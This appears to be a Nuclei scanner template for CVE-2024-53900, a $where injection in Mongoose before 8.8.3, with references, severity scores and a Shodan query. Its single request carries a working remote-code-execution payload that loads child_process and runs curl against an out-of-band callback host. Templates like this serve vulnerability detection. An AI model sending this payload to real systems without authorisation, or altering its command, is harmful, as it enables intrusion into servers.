漏洞描述
Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
id: CVE-2024-53900
info:
name: Mongoose < 8.8.3 - Remote Code Execution
author: h4mg
severity: critical
description: |
Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
reference:
- https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156
- https://github.com/advisories/GHSA-m7xq-9374-9rvx
- https://www.youtube.com/watch?v=WX_N1NGPbug
- https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md
- https://nvd.nist.gov/vuln/detail/CVE-2024-53900
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2024-53900
cwe-id: CWE-89
epss-score: 0.61214
epss-percentile: 0.98223
metadata:
verified: true
max-request: 1
product: mongoose
framework: nodejs
shodan-query: "Server: Mongoose"
tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast,vkev
variables:
pfield: "author"
http:
- method: GET
path:
- "{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "http")'
- 'contains(interactsh_request, "User-Agent: curl")'
condition: and
# digest: 4a0a00473045022100c8f6e8f6c69d9221d9b33e11256977184d4d0d2af62a8d4210be1378cb307c7c022074dc284da82be56ce8650516e52f7f5dcbf72e6f3dfc5469ebef3170337233ba:922c64590222798bb761d5b6d8e72950